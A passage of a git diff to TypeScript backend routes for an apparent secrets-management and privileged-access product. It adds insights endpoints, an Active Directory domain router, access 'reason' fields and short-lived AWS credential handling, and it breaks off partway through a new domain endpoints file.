+  //   method: "GET",
+  //   url: "/secrets/access-locations",
+  //   config: { rateLimit: readLimit },
+  //   schema: {
+  //     operationId: "getInsightsAccessLocations",
+  //     description: "Get geographic locations of secret access based on audit log IP addresses",
+  //     security: [{ bearerAuth: [] }],
+  //     querystring: z.object({
+  //       projectId: z.string().trim(),
+  //       days: z.coerce.number().min(1).max(90).default(30)
+  //     }),
+  //     response: {
+  //       200: z.object({
+  //         locations: z.array(
+  //           z.object({ lat: z.number(), lng: z.number(), city: z.string(), country: z.string(), count: z.number() })
+  //         )
+  //       })
+  //     }
+  //   },
+  //   onRequest: verifyAuth([AuthMode.JWT]),
+  //   handler: async (req) => {
+  //     const { projectId, days } = req.query;
+  //     const result = await server.services.insights.getAccessLocations({ projectId, days }, req.permission);
+  //     await server.services.auditLog.createAuditLog({
+  //       projectId,
+  //       event: { type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_ACCESS_LOCATIONS, metadata: { projectId, days } },
+  //       ...req.auditLogInfo
+  //     });
+  //     return result;
+  //   }
+  // });
+
+  server.route({
+    method: "GET",
+    url: "/auth/method-distribution",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getInsightsAuthMethodDistribution",
+      description: "Get distribution of authentication methods from secret access audit logs",
+      security: [{ bearerAuth: [] }],
+      querystring: z.object({
+        projectId: z.string().trim(),
+        days: z.coerce.number().min(1).max(90).default(30)
+      }),
+      response: {
+        200: z.object({
+          methods: z.array(z.object({ method: z.string(), count: z.number() }))
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { projectId, days } = req.query;
+      const result = await server.services.insights.getAuthMethodDistribution({ projectId, days }, req.permission);
+      await server.services.auditLog.createAuditLog({
+        projectId,
+        event: { type: EventType.VIEW_INSIGHTS_AUTH_METHODS, metadata: { projectId, days } },
+        ...req.auditLogInfo
+      });
+      return result;
+    }
+  });
+
+  server.route({
+    method: "GET",
+    url: "/secrets/summary",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: "getInsightsSummary",
+      description:
+        "Get summary stats for the insights dashboard: upcoming rotations, upcoming reminders, and stale secrets",
+      security: [{ bearerAuth: [] }],
+      querystring: z.object({
+        projectId: z.string().trim(),
+        staleSecretsOffset: z.coerce.number().min(0).max(10000).default(0),
+        staleSecretsLimit: z.coerce.number().min(1).max(100).default(50)
+      }),
+      response: {
+        200: z.object({
+          upcomingRotations: z.array(
+            z.object({
+              name: z.string(),
+              environment: z.string(),
+              secretPath: z.string(),
+              nextRotationAt: z.date().nullable(),
+              rotationStatus: z.string().nullable()
+            })
+          ),
+          failedRotations: z.array(
+            z.object({
+              name: z.string(),
+              environment: z.string(),
+              secretPath: z.string(),
+              nextRotationAt: z.date().nullable(),
+              rotationStatus: z.string().nullable()
+            })
+          ),
+          upcomingReminders: z.array(
+            z.object({
+              secretKey: z.string(),
+              environment: z.string(),
+              secretPath: z.string(),
+              nextReminderDate: z.date()
+            })
+          ),
+          overdueReminders: z.array(
+            z.object({
+              secretKey: z.string(),
+              environment: z.string(),
+              secretPath: z.string(),
+              nextReminderDate: z.date()
+            })
+          ),
+          staleSecrets: z.array(
+            z.object({ key: z.string(), environment: z.string(), secretPath: z.string(), updatedAt: z.date() })
+          ),
+          totalStaleCount: z.number()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      const { projectId, staleSecretsOffset, staleSecretsLimit } = req.query;
+      const result = await server.services.insights.getSummary(
+        { projectId, staleSecretsOffset, staleSecretsLimit },
+        req.permission
+      );
+      await server.services.auditLog.createAuditLog({
+        projectId,
+        event: { type: EventType.VIEW_INSIGHTS_SECRETS_MANAGEMENT_SUMMARY, metadata: { projectId } },
+        ...req.auditLogInfo
+      });
+      return result;
+    }
+  });
+};
diff --git a/backend/src/ee/routes/v1/pam-account-routers/index.ts b/backend/src/ee/routes/v1/pam-account-routers/index.ts
index 3f9eb4e1f45..d421df50a0c 100644
--- a/backend/src/ee/routes/v1/pam-account-routers/index.ts
+++ b/backend/src/ee/routes/v1/pam-account-routers/index.ts
@@ -1,8 +1,3 @@
-import {
-  CreateActiveDirectoryAccountSchema,
-  SanitizedActiveDirectoryAccountWithResourceSchema,
-  UpdateActiveDirectoryAccountSchema
-} from "@app/ee/services/pam-resource/active-directory/active-directory-resource-schemas";
 import {
   CreateAwsIamAccountSchema,
   SanitizedAwsIamAccountWithResourceSchema,
@@ -56,7 +51,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.Postgres]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.Postgres,
+      parentType: PamResource.Postgres,
       accountResponseSchema: SanitizedPostgresAccountWithResourceSchema,
       createAccountSchema: CreatePostgresAccountSchema,
       updateAccountSchema: UpdatePostgresAccountSchema
@@ -65,7 +60,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.MySQL]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.MySQL,
+      parentType: PamResource.MySQL,
       accountResponseSchema: SanitizedMySQLAccountWithResourceSchema,
       createAccountSchema: CreateMySQLAccountSchema,
       updateAccountSchema: UpdateMySQLAccountSchema
@@ -74,7 +69,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.MsSQL]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.MsSQL,
+      parentType: PamResource.MsSQL,
       accountResponseSchema: SanitizedMsSQLAccountWithResourceSchema,
       createAccountSchema: CreateMsSQLAccountSchema,
       updateAccountSchema: UpdateMsSQLAccountSchema
@@ -83,7 +78,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.Redis]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.Redis,
+      parentType: PamResource.Redis,
       accountResponseSchema: SanitizedRedisAccountWithResourceSchema,
       createAccountSchema: CreateRedisAccountSchema,
       updateAccountSchema: UpdateRedisAccountSchema
@@ -92,7 +87,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.MongoDB]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.MongoDB,
+      parentType: PamResource.MongoDB,
       accountResponseSchema: SanitizedMongoDBAccountWithResourceSchema,
       createAccountSchema: CreateMongoDBAccountSchema,
       updateAccountSchema: UpdateMongoDBAccountSchema
@@ -101,7 +96,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.SSH]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.SSH,
+      parentType: PamResource.SSH,
       accountResponseSchema: SanitizedSSHAccountWithResourceSchema,
       createAccountSchema: CreateSSHAccountSchema,
       updateAccountSchema: UpdateSSHAccountSchema
@@ -110,7 +105,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.Kubernetes]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.Kubernetes,
+      parentType: PamResource.Kubernetes,
       accountResponseSchema: SanitizedKubernetesAccountWithResourceSchema,
       createAccountSchema: CreateKubernetesAccountSchema,
       updateAccountSchema: UpdateKubernetesAccountSchema
@@ -119,7 +114,7 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.AwsIam]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.AwsIam,
+      parentType: PamResource.AwsIam,
       accountResponseSchema: SanitizedAwsIamAccountWithResourceSchema,
       createAccountSchema: CreateAwsIamAccountSchema,
       updateAccountSchema: UpdateAwsIamAccountSchema
@@ -128,19 +123,10 @@ export const PAM_ACCOUNT_REGISTER_ROUTER_MAP: Record<PamResource, (server: Fasti
   [PamResource.Windows]: async (server: FastifyZodProvider) => {
     registerPamAccountEndpoints({
       server,
-      resourceType: PamResource.Windows,
+      parentType: PamResource.Windows,
       accountResponseSchema: SanitizedWindowsAccountWithResourceSchema,
       createAccountSchema: CreateWindowsAccountSchema,
       updateAccountSchema: UpdateWindowsAccountSchema
     });
-  },
-  [PamResource.ActiveDirectory]: async (server: FastifyZodProvider) => {
-    registerPamAccountEndpoints({
-      server,
-      resourceType: PamResource.ActiveDirectory,
-      accountResponseSchema: SanitizedActiveDirectoryAccountWithResourceSchema,
-      createAccountSchema: CreateActiveDirectoryAccountSchema,
-      updateAccountSchema: UpdateActiveDirectoryAccountSchema
-    });
   }
 };
diff --git a/backend/src/ee/routes/v1/pam-account-routers/pam-account-endpoints.ts b/backend/src/ee/routes/v1/pam-account-routers/pam-account-endpoints.ts
index b78ae1a9418..2b444685f4e 100644
--- a/backend/src/ee/routes/v1/pam-account-routers/pam-account-endpoints.ts
+++ b/backend/src/ee/routes/v1/pam-account-routers/pam-account-endpoints.ts
@@ -1,7 +1,7 @@
 import { z } from "zod";
 
 import { EventType } from "@app/ee/services/audit-log/audit-log-types";
-import { PamResource } from "@app/ee/services/pam-resource/pam-resource-enums";
+import { PamParentType } from "@app/ee/services/pam-account/pam-account-enums";
 import { TPamAccount } from "@app/ee/services/pam-resource/pam-resource-types";
 import { writeLimit } from "@app/server/config/rateLimiter";
 import { getTelemetryDistinctId } from "@app/server/lib/telemetry";
@@ -12,16 +12,17 @@ import { PostHogEventTypes } from "@app/services/telemetry/telemetry-types";
 
 export const registerPamAccountEndpoints = <C extends TPamAccount>({
   server,
-  resourceType,
+  parentType,
   createAccountSchema,
   updateAccountSchema,
   accountResponseSchema
 }: {
   server: FastifyZodProvider;
-  resourceType: PamResource;
+  parentType: PamParentType;
   createAccountSchema: z.ZodType<{
     credentials: C["credentials"];
-    resourceId: C["resourceId"];
+    resourceId?: C["resourceId"];
+    domainId?: C["domainId"];
     folderId?: C["folderId"];
     name: C["name"];
     description?: C["description"];
@@ -41,9 +42,9 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
   }>;
   accountResponseSchema: z.ZodTypeAny;
 }) => {
-  // Convert resource type enum value to PascalCase for operation IDs
+  // Convert parent type enum value to PascalCase for operation IDs
   // e.g., "postgres" -> "Postgres", "aws-iam" -> "AwsIam"
-  const resourceTypeId = resourceType
+  const parentTypeId = parentType
     .split("-")
     .map((word) => word.charAt(0).toUpperCase() + word.slice(1))
     .join("");
@@ -55,7 +56,7 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
       rateLimit: writeLimit
     },
     schema: {
-      operationId: `create${resourceTypeId}PamAccount`,
+      operationId: `create${parentTypeId}PamAccount`,
       description: "Create PAM account",
       body: createAccountSchema,
       response: {
@@ -66,7 +67,14 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const account = await server.services.pamAccount.create(req.body, req.permission);
+      const account = await server.services.pamAccount.create(
+        {
+          ...req.body,
+          resourceId: req.body.resourceId ?? undefined,
+          domainId: req.body.domainId ?? undefined
+        },
+        req.permission
+      );
 
       await server.services.auditLog.createAuditLog({
         ...req.auditLogInfo,
@@ -76,7 +84,8 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
           type: EventType.PAM_ACCOUNT_CREATE,
           metadata: {
             resourceId: req.body.resourceId,
-            resourceType,
+            domainId: req.body.domainId,
+            parentType,
             folderId: req.body.folderId,
             name: req.body.name,
             description: req.body.description,
@@ -91,7 +100,7 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
           distinctId: getTelemetryDistinctId(req),
           organizationId: req.permission.orgId,
           properties: {
-            resourceType,
+            parentType,
             projectId: account.projectId
           }
         })
@@ -108,7 +117,7 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
       rateLimit: writeLimit
     },
     schema: {
-      operationId: `update${resourceTypeId}PamAccount`,
+      operationId: `update${parentTypeId}PamAccount`,
       description: "Update PAM account",
       params: z.object({
         accountId: z.string().uuid()
@@ -139,7 +148,8 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
           metadata: {
             accountId: req.params.accountId,
             resourceId: account.resourceId,
-            resourceType,
+            domainId: account.domainId,
+            parentType,
             name: req.body.name,
             description: req.body.description,
             requireMfa: req.body.requireMfa
@@ -158,7 +168,7 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
       rateLimit: writeLimit
     },
     schema: {
-      operationId: `delete${resourceTypeId}PamAccount`,
+      operationId: `delete${parentTypeId}PamAccount`,
       description: "Delete PAM account",
       params: z.object({
         accountId: z.string().uuid()
@@ -183,7 +193,8 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
             accountId: req.params.accountId,
             accountName: account.name,
             resourceId: account.resourceId,
-            resourceType
+            domainId: account.domainId,
+            parentType
           }
         }
       });
@@ -194,7 +205,7 @@ export const registerPamAccountEndpoints = <C extends TPamAccount>({
           distinctId: getTelemetryDistinctId(req),
           organizationId: req.permission.orgId,
           properties: {
-            resourceType,
+            parentType,
             projectId: account.projectId
           }
         })
diff --git a/backend/src/ee/routes/v1/pam-account-routers/pam-account-router.ts b/backend/src/ee/routes/v1/pam-account-routers/pam-account-router.ts
index 2e4275c5504..d39ff1890b5 100644
--- a/backend/src/ee/routes/v1/pam-account-routers/pam-account-router.ts
+++ b/backend/src/ee/routes/v1/pam-account-routers/pam-account-router.ts
@@ -1,13 +1,14 @@
 import type WebSocket from "ws";
 import { z } from "zod";
 
-import { PamAccountDependenciesSchema } from "@app/db/schemas";
+import { PamAccountDependenciesSchema, PamDomainsSchema, PamResourcesSchema } from "@app/db/schemas";
 import { AuditLogInfo, EventType, UserAgentType } from "@app/ee/services/audit-log/audit-log-types";
-import { PamAccountOrderBy, PamAccountView } from "@app/ee/services/pam-account/pam-account-enums";
+import { PamAccountOrderBy, PamAccountView, PamParentType } from "@app/ee/services/pam-account/pam-account-enums";
 import {
   ActiveDirectoryAccountCredentialsSchema,
-  SanitizedActiveDirectoryAccountWithResourceSchema
-} from "@app/ee/services/pam-resource/active-directory/active-directory-resource-schemas";
+  SanitizedActiveDirectoryAccountWithDomainSchema
+} from "@app/ee/services/pam-domain/active-directory/active-directory-domain-schemas";
+import { PamDomainType } from "@app/ee/services/pam-domain/pam-domain-enums";
 import {
   AwsIamAccountCredentialsSchema,
   SanitizedAwsIamAccountWithResourceSchema
@@ -58,7 +59,7 @@ import { TokenType } from "@app/services/auth-token/auth-token-types";
 import { PostHogEventTypes } from "@app/services/telemetry/telemetry-types";
 
 const SanitizedAccountSchema = z
-  .discriminatedUnion("resourceType", [
+  .discriminatedUnion("parentType", [
     SanitizedKubernetesAccountWithResourceSchema,
     SanitizedSSHAccountWithResourceSchema,
     SanitizedPostgresAccountWithResourceSchema,
@@ -68,7 +69,7 @@ const SanitizedAccountSchema = z
     SanitizedRedisAccountWithResourceSchema,
     SanitizedAwsIamAccountWithResourceSchema,
     SanitizedWindowsAccountWithResourceSchema,
-    SanitizedActiveDirectoryAccountWithResourceSchema
+    SanitizedActiveDirectoryAccountWithDomainSchema
   ])
   .and(
     z.object({
@@ -85,49 +86,50 @@ const ListPamAccountsResponseSchema = z.object({
 const AccountCredentialsBaseSchema = z.object({
   accountId: z.string().uuid(),
   accountName: z.string(),
-  resourceName: z.string(),
-  projectId: z.string().uuid()
+  projectId: z.string().uuid(),
+  resource: PamResourcesSchema.pick({ id: true, name: true, resourceType: true }).nullable().optional(),
+  domain: PamDomainsSchema.pick({ id: true, name: true, domainType: true }).nullable().optional()
 });
 
-const AccountCredentialsResponseSchema = z.discriminatedUnion("resourceType", [
+const AccountCredentialsResponseSchema = z.discriminatedUnion("parentType", [
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.Postgres),
+    parentType: z.literal(PamResource.Postgres),
     credentials: PostgresAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.MySQL),
+    parentType: z.literal(PamResource.MySQL),
     credentials: MySQLAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.MsSQL),
+    parentType: z.literal(PamResource.MsSQL),
     credentials: MsSQLAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.MongoDB),
+    parentType: z.literal(PamResource.MongoDB),
     credentials: MongoDBAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.SSH),
-    credentials: SSHAccountCredentialsSchema
+    parentType: z.literal(PamResource.Redis),
+    credentials: RedisAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.Redis),
-    credentials: RedisAccountCredentialsSchema
+    parentType: z.literal(PamResource.SSH),
+    credentials: SSHAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.Kubernetes),
+    parentType: z.literal(PamResource.Kubernetes),
     credentials: KubernetesAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.AwsIam),
+    parentType: z.literal(PamResource.AwsIam),
     credentials: AwsIamAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.Windows),
+    parentType: z.literal(PamResource.Windows),
     credentials: WindowsAccountCredentialsSchema
   }),
   AccountCredentialsBaseSchema.extend({
-    resourceType: z.literal(PamResource.ActiveDirectory),
+    parentType: z.literal(PamDomainType.ActiveDirectory),
     credentials: ActiveDirectoryAccountCredentialsSchema
   })
 ]);
@@ -267,7 +269,7 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
           distinctId: getTelemetryDistinctId(req),
           organizationId: req.permission.orgId,
           properties: {
-            resourceType: account.resourceType,
+            parentType: account.parentType as PamParentType,
             projectId: account.projectId
           }
         })
@@ -359,8 +361,10 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
           metadata: {
             accountId: result.accountId,
             accountName: result.accountName,
-            resourceId: result.resourceId,
-            resourceType: result.resourceType
+            resourceId: result.resource?.id,
+            resourceType: result.resource?.resourceType,
+            domainId: result.domain?.id,
+            domainType: result.domain?.domainType
           }
         }
       });
@@ -451,6 +455,7 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
         orderDirection: z.nativeEnum(OrderByDirection).default(OrderByDirection.ASC),
         search: z.string().trim().optional(),
         filterResourceIds: z.array(z.string().uuid()).optional(),
+        filterDomainIds: z.array(z.string().uuid()).optional(),
         metadata: z
           .array(
             z.object({
@@ -466,8 +471,18 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
     },
     onRequest: verifyAuth([AuthMode.JWT]),
     handler: async (req) => {
-      const { projectId, accountView, limit, offset, search, orderBy, orderDirection, filterResourceIds, metadata } =
-        req.body;
+      const {
+        projectId,
+        accountView,
+        limit,
+        offset,
+        search,
+        orderBy,
+        orderDirection,
+        filterResourceIds,
+        filterDomainIds,
+        metadata
+      } = req.body;
 
       const { accounts, totalCount } = await server.services.pamAccount.list({
         actorId: req.permission.id,
@@ -482,6 +497,7 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
         orderBy,
         orderDirection,
         filterResourceIds,
+        filterDomainIds,
         metadataFilter: metadata
       });
 
@@ -514,6 +530,7 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
         accountName: z.string().trim(),
         projectId: z.string().uuid(),
         mfaSessionId: z.string().optional(),
+        reason: z.string().trim().max(1000).optional(),
         duration: z
           .string()
           .min(1)
@@ -540,11 +557,14 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
           GatewayAccessResponseSchema.extend({ resourceType: z.literal(PamResource.Redis) }),
           GatewayAccessResponseSchema.extend({ resourceType: z.literal(PamResource.SSH) }),
           GatewayAccessResponseSchema.extend({ resourceType: z.literal(PamResource.Kubernetes) }),
-          // AWS IAM (no gateway, returns console URL)
+          // AWS IAM (no gateway, returns short-lived STS credentials usable by both CLI and console)
           z.object({
             sessionId: z.string(),
             resourceType: z.literal(PamResource.AwsIam),
-            consoleUrl: z.string().url(),
+            accessKeyId: z.string(),
+            secretAccessKey: z.string(),
+            sessionToken: z.string(),
+            expiresAt: z.string(),
             metadata: z.record(z.string(), z.string().optional()).optional()
           })
         ])
@@ -567,7 +587,8 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
           accountName: req.body.accountName,
           projectId: req.body.projectId,
           duration: req.body.duration,
-          mfaSessionId: req.body.mfaSessionId
+          mfaSessionId: req.body.mfaSessionId,
+          reason: req.body.reason
         },
         req.permission
       );
@@ -582,7 +603,8 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
             accountId: response.account.id,
             resourceName: req.body.resourceName,
             accountName: response.account.name,
-            duration: req.body.duration ? new Date(req.body.duration).toISOString() : undefined
+            duration: req.body.duration ? new Date(req.body.duration).toISOString() : undefined,
+            reason: req.body.reason
           }
         }
       });
@@ -604,6 +626,66 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
     }
   });
 
+  // Mint an AWS Console federated sign-in URL from an existing AWS IAM session
+  server.route({
+    method: "POST",
+    url: "/sessions/:sessionId/aws-console-url",
+    config: {
+      rateLimit: writeLimit
+    },
+    schema: {
+      description: "Generate an AWS console sign-in URL for an existing PAM session",
+      params: z.object({
+        sessionId: z.string().uuid()
+      }),
+      body: z.object({
+        projectId: z.string().uuid(),
+        accessKeyId: z.string().min(1),
+        secretAccessKey: z.string().min(1),
+        sessionToken: z.string().min(1)
+      }),
+      response: {
+        200: z.object({
+          consoleUrl: z.string().url()
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT]),
+    handler: async (req) => {
+      if (req.auth.authMode !== AuthMode.JWT) {
+        throw new BadRequestError({ message: "You can only access PAM accounts using JWT auth tokens." });
+      }
+
+      const result = await server.services.pamAccount.getAwsIamConsoleUrl(
+        {
+          sessionId: req.params.sessionId,
+          projectId: req.body.projectId,
+          accessKeyId: req.body.accessKeyId,
+          secretAccessKey: req.body.secretAccessKey,
+          sessionToken: req.body.sessionToken
+        },
+        req.permission
+      );
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId: req.body.projectId,
+        event: {
+          type: EventType.PAM_ACCOUNT_AWS_CONSOLE_URL_GENERATED,
+          metadata: {
+            sessionId: req.params.sessionId,
+            accountId: result.accountId ?? "",
+            resourceName: result.resourceName,
+            accountName: result.accountName
+          }
+        }
+      });
+
+      return { consoleUrl: result.consoleUrl };
+    }
+  });
+
   // Web access ticket endpoint
   server.route({
     method: "POST",
@@ -618,7 +700,8 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
       }),
       body: z.object({
         projectId: z.string().uuid(),
-        mfaSessionId: z.string().optional()
+        mfaSessionId: z.string().optional(),
+        reason: z.string().trim().max(1000).optional()
       }),
       response: {
         200: z.object({ ticket: z.string() })
@@ -639,7 +722,8 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
         actorEmail: req.auth.user.email ?? "",
         actorName: `${req.auth.user.firstName ?? ""} ${req.auth.user.lastName ?? ""}`.trim(),
         auditLogInfo: req.auditLogInfo,
-        mfaSessionId: req.body.mfaSessionId
+        mfaSessionId: req.body.mfaSessionId,
+        reason: req.body.reason
       });
 
       await server.services.telemetry
@@ -708,6 +792,7 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
             accountName: z.string(),
             actorEmail: z.string(),
             actorName: z.string(),
+            reason: z.string().nullable().optional(),
             auditLogInfo: z.object({
               ipAddress: z.string().optional(),
               userAgent: z.string().optional(),
@@ -737,7 +822,8 @@ export const registerPamAccountRouter = async (server: FastifyZodProvider) => {
           auditLogInfo: payload.auditLogInfo as AuditLogInfo,
           userId,
           actorIp: req.realIp ?? "",
-          actorUserAgent: req.headers["user-agent"] ?? ""
+          actorUserAgent: req.headers["user-agent"] ?? "",
+          reason: payload.reason
         });
       } catch (err) {
         logger.error(err, "WebSocket ticket validation failed");
diff --git a/backend/src/ee/routes/v1/pam-domain-routers/index.ts b/backend/src/ee/routes/v1/pam-domain-routers/index.ts
new file mode 100644
index 00000000000..ab5f2eb4323
--- /dev/null
+++ b/backend/src/ee/routes/v1/pam-domain-routers/index.ts
@@ -0,0 +1,44 @@
+import { registerPamAccountEndpoints } from "@app/ee/routes/v1/pam-account-routers/pam-account-endpoints";
+import {
+  CreateActiveDirectoryAccountSchema,
+  SanitizedActiveDirectoryAccountWithDomainSchema,
+  UpdateActiveDirectoryAccountSchema
+} from "@app/ee/services/pam-domain/active-directory/active-directory-domain-schemas";
+import { PamDomainType } from "@app/ee/services/pam-domain/pam-domain-enums";
+import {
+  CreateActiveDirectoryDomainSchema,
+  SanitizedActiveDirectoryDomainSchema,
+  UpdateActiveDirectoryDomainSchema
+} from "@app/ee/services/pam-domain/pam-domain-schemas";
+
+import { registerActiveDirectoryRelatedResourcesEndpoint, registerPamDomainEndpoints } from "./pam-domain-endpoints";
+
+export { registerPamDomainRouter } from "./pam-domain-router";
+
+export const PAM_DOMAIN_REGISTER_ROUTER_MAP: Record<PamDomainType, (server: FastifyZodProvider) => Promise<void>> = {
+  [PamDomainType.ActiveDirectory]: async (server: FastifyZodProvider) => {
+    registerPamDomainEndpoints({
+      server,
+      domainType: PamDomainType.ActiveDirectory,
+      domainResponseSchema: SanitizedActiveDirectoryDomainSchema,
+      createDomainSchema: CreateActiveDirectoryDomainSchema,
+      updateDomainSchema: UpdateActiveDirectoryDomainSchema
+    });
+    registerActiveDirectoryRelatedResourcesEndpoint(server);
+  }
+};
+
+export const PAM_DOMAIN_ACCOUNT_REGISTER_ROUTER_MAP: Record<
+  PamDomainType,
+  (server: FastifyZodProvider) => Promise<void>
+> = {
+  [PamDomainType.ActiveDirectory]: async (server: FastifyZodProvider) => {
+    registerPamAccountEndpoints({
+      server,
+      parentType: PamDomainType.ActiveDirectory,
+      accountResponseSchema: SanitizedActiveDirectoryAccountWithDomainSchema,
+      createAccountSchema: CreateActiveDirectoryAccountSchema,
+      updateAccountSchema: UpdateActiveDirectoryAccountSchema
+    });
+  }
+};
diff --git a/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-endpoints.ts b/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-endpoints.ts
new file mode 100644
index 00000000000..54b6fbb61ce
--- /dev/null
+++ b/backend/src/ee/routes/v1/pam-domain-routers/pam-domain-endpoints.ts
@@ -0,0 +1,220 @@
+import { z } from "zod";
+
+import { EventType } from "@app/ee/services/audit-log/audit-log-types";
+import { PamDomainType } from "@app/ee/services/pam-domain/pam-domain-enums";
+import { TPamDomain } from "@app/ee/services/pam-domain/pam-domain-types";
+import { SanitizedWindowsResourceSchema } from "@app/ee/services/pam-resource/windows-server/windows-server-resource-schemas";
+import { readLimit, writeLimit } from "@app/server/config/rateLimiter";
+import { verifyAuth } from "@app/server/plugins/auth/verify-auth";
+import { AuthMode } from "@app/services/auth/auth-type";
+import { ResourceMetadataNonEncryptionSchema } from "@app/services/resource-metadata/resource-metadata-schema";
+
+export const registerPamDomainEndpoints = <T extends TPamDomain>({
+  server,
+  domainType,
+  createDomainSchema,
+  updateDomainSchema,
+  domainResponseSchema
+}: {
+  server: FastifyZodProvider;
+  domainType: PamDomainType;
+  createDomainSchema: z.ZodType<{
+    projectId: T["projectId"];
+    connectionDetails: T["connectionDetails"];
+    gatewayId?: string;
+    name: T["name"];
+    metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
+  }>;
+  updateDomainSchema: z.ZodType<{
+    connectionDetails?: T["connectionDetails"];
+    gatewayId?: string;
+    name?: T["name"];
+    metadata?: z.input<typeof ResourceMetadataNonEncryptionSchema>;
+  }>;
+  domainResponseSchema: z.ZodTypeAny;
+}) => {
+  const domainTypeId = domainType
+    .split("-")
+    .map((word) => word.charAt(0).toUpperCase() + word.slice(1))
+    .join("");
+
+  server.route({
+    method: "GET",
+    url: "/:domainId",
+    config: { rateLimit: readLimit },
+    schema: {
+      operationId: `get${domainTypeId}PamDomain`,
+      description: `Get ${domainTypeId} PAM domain`,
+      params: z.object({ domainId: z.string().uuid() }),
+      response: {
+        200: z.object({
+          domain: domainResponseSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const domain = await server.services.pamDomain.getById(req.params.domainId, domainType, req.permission);
+
+      await server.services.auditLog.createAuditLog({
+        ...req.auditLogInfo,
+        orgId: req.permission.orgId,
+        projectId: domain.projectId,
+        event: {
+          type: EventType.PAM_DOMAIN_GET,
+          metadata: {
+            domainId: domain.id,
+            domainType: domain.domainType,
+            name: domain.name
+          }
+        }
+      });
+
+      return { domain };
+    }
+  });
+
+  server.route({
+    method: "POST",
+    url: "/",
+    config: { rateLimit: writeLimit },
+    schema: {
+      operationId: `create${domainTypeId}PamDomain`,
+      description: `Create ${domainTypeId} PAM domain`,
+      body: createDomainSchema,
+      response: {
+        200: z.object({
+          domain: domainResponseSchema
+        })
+      }
+    },
+    onRequest: verifyAuth([AuthMode.JWT, AuthMode.IDENTITY_ACCESS_TOKEN]),
+    handler: async (req) => {
+      const domain = await server.services.pamDomain.create(
+        {
+          ...req.body,
+          domainType
+        },
+        req.permission
+      );
+
